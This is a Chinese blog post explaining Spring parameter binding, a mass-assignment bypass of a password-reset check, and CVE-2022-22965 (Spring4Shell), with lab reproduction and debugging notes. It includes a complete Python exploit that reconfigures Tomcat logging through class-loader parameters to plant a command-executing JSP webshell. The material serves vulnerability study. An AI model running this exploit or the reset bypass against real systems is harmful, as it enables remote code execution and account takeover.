当前位置: 首页 > news >正文

JAVA安全之Spring参数绑定漏洞CVE-2022-22965

前言

在介绍这个漏洞前,介绍下在spring下的参数绑定

在Spring框架中,参数绑定是一种常见的操作,用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例,展示了如何在Spring中进行参数绑定:

示例1:

@Controller
@RequestMapping("/user")
public class UserController {@GetMapping("/{id}")public String getUserById(@PathVariable("id") int userId, Model model) {// 根据userId查询用户信息并返回User user = userService.getUserById(userId);model.addAttribute("user", user);return "user";}@PostMapping("/add")public String addUser(@RequestParam("name") String name, @RequestParam("age") int age, Model model) {// 创建新用户并保存到数据库User newUser = new User(name, age);userService.addUser(newUser);model.addAttribute("user", newUser);return "user";}
}

上述示例中,我们使用了@PathVariable@RequestParam注解来进行参数绑定:

  • @PathVariable用于将URL中的路径变量与方法参数进行绑定。在getUserById方法中,我们将URL中的"id"作为参数绑定到userId上。

  • @RequestParam用于将HTTP请求参数与方法参数进行绑定。在addUser方法中,我们将请求参数"name"和"age"分别绑定到nameage上。

通过这种方式,Spring框架能够自动将请求参数的值绑定到Controller方法的参数上,简化了参数处理的过程。

示例2:

在Spring框架中,除了绑定基本类型的参数外,我们也经常需要绑定对象作为方法的参数。下面是一个示例,展示了如何在Spring中进行对象的参数绑定:

假设有一个名为User的JavaBean类:

javaCopy Codepublic class User {private String name;private int age;// 省略构造函数、getter和setter 
}

然后在Controller中,我们可以将User对象作为方法的参数进行绑定

javaCopy Code@Controller
@RequestMapping("/user")
public class UserController {@PostMapping("/add")public String addUser(@ModelAttribute User user, Model model) {// 通过@ModelAttribute注解将HTTP请求参数绑定到User对象userService.addUser(user);model.addAttribute("user", user);return "user";}
}

我们使用了@ModelAttribute注解将HTTP请求参数绑定到User对象上。Spring框架会自动根据HTTP请求的参数名和User对象的属性名进行匹配,并进行对象的参数绑定。

当客户端发送一个包含name和age参数的POST请求时,Spring框架将自动创建一个User对象,并将请求参数的值绑定到User对象的对应属性上。

这种方式能够方便地处理复杂的对象绑定工作,使得我们在Controller中可以直接操作领域对象,而无需手动解析和绑定参数。

参数绑定漏洞

参数绑定这个机制,使得我们对绑定的对象实现了可控。如果代码对这个对象又做了其他验证处理,那么就非常可能导致某种逻辑漏洞,绕过漏洞。

看如下的代码

@Controller
@SessionAttributes({"user"})
public class ResetPasswordController {private static final Logger logger = LoggerFactory.getLogger(ResetPasswordController.class);@Autowiredprivate UserService userService;public ResetPasswordController() {}@RequestMapping(value = {"/reset"},method = {RequestMethod.GET})public String resetViewHandler() {logger.info("Welcome reset ! ");return "reset";}@RequestMapping(value = {"/reset"},method = {RequestMethod.POST})public String resetHandler(@RequestParam String username, Model model) {logger.info("Checking username " + username);User user = this.userService.findByName(username);if (user == null) {logger.info("there is no user with name " + username);model.addAttribute("error", "Username is not found");return "reset";} else {model.addAttribute("user", user);return "redirect:resetQuestion";}}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.GET})public String resetViewQuestionHandler(@ModelAttribute User user) {logger.info("Welcome resetQuestion ! " + user);return "resetQuestion";}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.POST})public String resetQuestionHandler(@RequestParam String answerReset, SessionStatus status, User user, Model model) {logger.info("Checking resetQuestion ! " + answerReset + " for " + user);if (!user.getAnswer().equals(answerReset)) {logger.info("Answer in db " + user.getAnswer() + " Answer " + answerReset);model.addAttribute("error", "Incorrect answer");return "resetQuestion";} else {status.setComplete();String newPassword = GeneratePassword.generatePassowrd(10);user.setPassword(newPassword);this.userService.updateUser(user);model.addAttribute("message", "Your new password is " + newPassword);return "success";}}}

由于有了参数绑定这个机制,user对象是我们用户可控的!,可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然从user对象中取数据来做验证,那么我们可以尝试利用参数绑定的机制,参数设为?answer=hello&answerReset=hello,使得equals成功,从而绕过验证。

参考自动绑定漏洞_对象自动绑定漏洞-CSDN博客

war包下载https://github.com/3wapp/ZeroNights-HackQuest-2016

CVE-2022-22965

受影响范围: Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK ≥ 9 不受影响版本: Spring Framework = 5.3.18 Spring Framework = 5.2.20 JDK < 9 与Tomcat版本有关

注:jdk版本的不同,可能导致漏洞利用成功与否

思考:参数绑定可以给对应对象的属性赋值,有没有一种可能可以给其他的对象赋值?

为了实现这种可能,先了解下参数绑定的底层机制!

由于java语言复杂的对象继承关系,参数绑定也有多级参数绑定的机制。如contry.province.city.district=yuelu,
其内部的调用链也应是
Contry.getProvince()
        Province.getCity()
                City.getDistrict()
                        District.setDistrictName()

Spring自带: BeanWrapperlmpl------Spring容器中管理的对象,自动调用get/set方法
BeanWrapperlmpl是对PropertyDescriptor的进一步封装

我们都知道在Java中,所有的类都隐式地继承自java.lang.Object类。 Object类是Java中所有类的根类,它定义了一些通用的方法,因此这些方法可以在任何对象上调用。

  • getClass(): 返回对象所属的类。

是否可以通过class对象跳转到其他对象上。

在spring是世界中一切都是javabean,就连输出的log日志也是一个javabean,如果我们能够修改这个javabean,就意味着输出的log后缀名可控,其内容也可控。那好我们直接改成jsp马的形式

漏洞搭建复现

我们使用maven工具加入spring boot,模拟一个参数绑定的Controller,生成war包放入tomcat中

参考文章Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考 (seebug.org)

附上poc

import requests
import argparse
from urllib.parse import urlparse
import time# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()post_headers = {"Content-Type": "application/x-www-form-urlencoded"
}get_headers = {"prefix": "<%","suffix": "%>//",# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern"c": "Runtime",
}def run_exploit(url, directory, filename):log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times# If re-running the exploit, this will create an artifact of {old_file_name}_.jspfile_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Change the tomcat log location variablesprint("[*] Modifying Log Configurations")ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Changes take some time to populate on tomcattime.sleep(3)# Send the packet that writes the web shellret = requests.get(url, headers=get_headers, verify=False)print("[*] Response Code: %d" % ret.status_code)time.sleep(1)# Reset the pattern to prevent future writes into the filepattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)print("[*] Response code: %d" % ret.status_code)def main():parser = argparse.ArgumentParser(description='Spring Core RCE')parser.add_argument('--url', help='target url', required=True)parser.add_argument('--file', help='File to write to [no extension]', required=False, default="bak")parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',required=False, default="webapps/ROOT")file_arg = parser.parse_args().filedir_arg = parser.parse_args().dirurl_arg = parser.parse_args().urlfilename = file_arg.replace(".jsp", "")if url_arg is None:print("Must pass an option for --url")returntry:run_exploit(url_arg, dir_arg, filename)print("[+] Exploit completed")print("[+] Check your target for a shell")print("[+] File: " + filename + ".jsp")if dir_arg:location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"else:location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"print(f"[+] Shell should be at: {location}?cmd=whoami")except Exception as e:print(e)if __name__ == '__main__':main()

注意这个poc的逻辑 先向log文件中打入马的形式,其部分关键语段用占位符代替,这也是为了绕过防护机制的手段。之后请求的包在header将占位符填上,这时一个jsp就此形成

访问马

漏洞调试分析

给参数绑定的入函数打上断点

瞅见了我们传入的参数了吧

第一次循环这一次this还在User中(包装对象)

第二次循环跳出user对象了

有兴趣的同学可调试进入分析一哈,具体的代码逻辑为什么跳到了class对象?以博主目前的功力虽然调了很多次 但始终无法对这个机制了解彻底,所以这里也不在深究了.....

相关文章:

JAVA安全之Spring参数绑定漏洞CVE-2022-22965

前言 在介绍这个漏洞前&#xff0c;介绍下在spring下的参数绑定 在Spring框架中&#xff0c;参数绑定是一种常见的操作&#xff0c;用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例&#xff0c;展示了如何在Spring中进行参数绑定&#xff1a; 示例1&am…...

辨析旅行商问题(TSP)与车辆路径问题(VRP)

目录 前言旅行商问题 (TSP)问题介绍数学模型符号定义问题输入约束条件目标函数问题输出 解的空间解空间大小计算解释 车辆路径问题 (VRP)问题介绍TSP到VRP的过渡数学模型符号定义问题输入约束条件优化目标问题输出 解空间特殊情况一般情况 TSP 与 VRP 对比 前言 计划是通过本文…...

2024年JAVA招聘行情如何?

大家都在说Java求职不好找&#xff0c;是真的吗&#xff1f;我们来看看数据。 数据支持&#xff1a;根据TIOBE 5月份的编程语言排行榜&#xff0c;Java仍然是前三名之一。这意味着&#xff0c;Java在开发领域仍然占据重要地位。 而在中国的IT市场中&#xff0c;Java仍然是主要…...

【合集】SpringBoot——Spring,SpringBoot,SpringCloud相关的博客文章合集

前言 本篇博客是spring相关的博客文章合集&#xff0c;内容涵盖Spring&#xff0c;SpringBoot&#xff0c;SpringCloud相关的知识&#xff0c;包括了基础的内容&#xff0c;比如核心容器&#xff0c;springMVC&#xff0c;Data Access&#xff1b;也包括Spring进阶的相关知识&…...

yolov5 获取漏检图片脚本

yolov5 获取漏检图片脚本 获取样本分数在0.05到0.38直接的样本。 # YOLOv5 by Ultralytics, GPL-3.0 licenseimport argparse import json import os import sys import time from pathlib import Pathimport cv2 import numpy as np import torch import torch.backends.cud…...

Unity之OpenXR+XR Interaction Toolkit接入微软VR设备Windows Mixed Reality

前言 Windows Mixed Reality 是 Microsoft 用于增强和虚拟现实体验的VR设备,如下图所示: 在国内,它的使用率很低,一把都是国外使用,所以适配起来是相当费劲。 这台VR设备只能用于串流Windows,启动后,会自动连接Window的Mixed Reality程序,然后打开微软的增强现实门户…...

【小聆送书第二期】人工智能时代AIGC重塑教育

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;网络奇遇记、数据结构 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 &#x1f4cb;正文&#x1f4dd;活动参与规则 参与活动方式文末详见。 &#x1f4cb;正文 AI正迅猛地…...

中国移动公网IP申请过程

一、动机 由于从事互联网行业10年&#xff0c;一直从事移动端&#xff08;前端&#xff09;开发工作&#xff0c;未曾深入了解过后端技术&#xff0c;以至于工作10年也不算进入互联网的门。 所以准备在自己家用设备上搭建各种场景的服务器&#xff08;云服务对个人来说成本偏…...

动态获取绝对路径

在Python中&#xff0c;可以使用 os模块 来获取当前工作目录的路径&#xff0c;并使用 os.path.join()函数 将相对路径与当前工作目录结合起来&#xff0c;形成一个动态获取的绝对路径 以下是一个简单的例子&#xff1a; import os# 获取当前工作目录的路径 current_director…...

pytorch中的归一化:BatchNorm、LayerNorm 和 GroupNorm

1 归一化概述 训练深度神经网络是一项具有挑战性的任务。 多年来&#xff0c;研究人员提出了不同的方法来加速和稳定学习过程。 归一化是一种被证明在这方面非常有效的技术。 1.1 为什么要归一化 数据的归一化操作是数据处理的一项基础性工作&#xff0c;在一些实际问题中&am…...

RocketMq源码分析(九)--顺序消息

文章目录 一、顺序消息二、顺序消息消费过程1、消息队列负载2、消息拉取3、消息消费4、消息进度存储 三、总结 一、顺序消息 RocketMq在同一个队列中可以保证消息被顺序消费&#xff0c;所以如果要做到消息顺序消费&#xff0c;可以将消费主题&#xff08;topic&#xff09;设置…...

Windows下nginx的启动,重启,关闭等功能bat脚本

echo off rem 提供Windows下nginx的启动&#xff0c;重启&#xff0c;关闭功能echo begincls ::ngxin 所在的盘符 set NGINX_PATHG:::nginx 所在目录 set NGINX_DIRG:\projects\nginx-1.24.0\ color 0a TITLE Nginx 管理程序增强版CLSecho. echo. ** Nginx 管理程序 *** echo.…...

Python 字典:dic = {} 和 dic = defaultdict(list)之间的区别

d defaultdict(list) 和 d {} 在Python中代表了两种不同类型的字典初始化方式&#xff0c;它们之间有几个关键的区别&#xff1a; 1、类型 d defaultdict(list)&#xff1a;这里使用的是 collections 模块中的 defaultdict 类。它是一个字典的子类&#xff0c;提供了一个默…...

绘图 Seaborn 10个示例

绘图 Seaborn 是什么安装使用显示中文及负号散点图箱线图小提琴图堆叠柱状图分面绘图分类散点图热力图成对关系图线图直方图 是什么 Seaborn 是一个Python数据可视化库&#xff0c;它基于Matplotlib。Seaborn提供了高级的绘图接口&#xff0c;可以用来绘制各种统计图形&#xf…...

airserver mac 7.27官方破解版2024最新安装激活图文教程

airserver mac 7.27官方破解版是一款好用的airplay投屏工具&#xff0c;可以轻松将ios荧幕镜像&#xff08;airplay&#xff09;至mac上&#xff0c;在mac平台上实现视频、音频、幻灯片等文件资源的接收及投放演示操作&#xff0c;解决iphone或ipad的屏幕录像问题&#xff0c;满…...

文章解读与仿真程序复现思路——电力系统自动化EI\CSCD\北大核心《考虑移动式储能调度的配电网灾后多源协同孤岛运行策略》

这篇文章的标题表明研究的主题是在配电网发生灾害后&#xff0c;采用一种策略来实现多源协同孤岛运行&#xff0c;并在这个过程中特别考虑了移动式储能的调度。 让我们逐步解读标题的关键词&#xff1a; 考虑移动式储能调度&#xff1a; 文章关注的焦点之一是移动式储能系统的…...

Spring Boot 优雅地处理重复请求

前 言 对于一些用户请求&#xff0c;在某些情况下是可能重复发送的&#xff0c;如果是查询类操作并无大碍&#xff0c;但其中有些是涉及写入操作的&#xff0c;一旦重复了&#xff0c;可能会导致很严重的后果&#xff0c;例如交易的接口如果重复请求可能会重复下单。 重复的场…...

TailwindCSS 多主题色配置

TailwindCSS 多主题色配置 现在大多数网站都支持主题色变换&#xff0c;比如切换深色模式。那么我们该如何进行主题色配置呢&#xff1f; tailwind dark tailwind 包含一个 dark变体&#xff0c;当启用深色模式时&#xff0c;可以为网站设置不同样式 <div class"bg-whi…...

Vue3:表格单元格内容由:图标+具体内容 构成

一、背景 在Vue3项目中&#xff0c;想让单元格的内容是由 &#xff1a;图标具体内容组成的&#xff0c;类似以下效果&#xff1a; 二、图标 Element-Plus 可以在Element-Plus里面找是否有符合需求的图标iconfont 如果Element-Plus里面没有符合需求的&#xff0c;也可以在这…...

【项目日记(一)】高并发内存池项目介绍

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:项目日记-高并发内存池⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习C   &#x1f51d;&#x1f51d; 项目日记 1. 前言2. 什么是高并发内存池…...

云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?

大家好&#xff0c;欢迎来到《云原生核心技术》系列的第七篇&#xff01; 在上一篇&#xff0c;我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在&#xff0c;我们就像一个拥有了一块崭新数字土地的农场主&#xff0c;是时…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

JVM垃圾回收机制全解析

Java虚拟机&#xff08;JVM&#xff09;中的垃圾收集器&#xff08;Garbage Collector&#xff0c;简称GC&#xff09;是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象&#xff0c;从而释放内存空间&#xff0c;避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务

通过akshare库&#xff0c;获取股票数据&#xff0c;并生成TabPFN这个模型 可以识别、处理的格式&#xff0c;写一个完整的预处理示例&#xff0c;并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务&#xff0c;进行预测并输…...

基于当前项目通过npm包形式暴露公共组件

1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹&#xff0c;并新增内容 3.创建package文件夹...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

Android第十三次面试总结(四大 组件基础)

Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成&#xff0c;用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机&#xff1a; ​onCreate()​​ ​调用时机​&#xff1a;Activity 首次创建时调用。​…...

视觉slam十四讲实践部分记录——ch2、ch3

ch2 一、使用g++编译.cpp为可执行文件并运行(P30) g++ helloSLAM.cpp ./a.out运行 二、使用cmake编译 mkdir build cd build cmake .. makeCMakeCache.txt 文件仍然指向旧的目录。这表明在源代码目录中可能还存在旧的 CMakeCache.txt 文件,或者在构建过程中仍然引用了旧的路…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...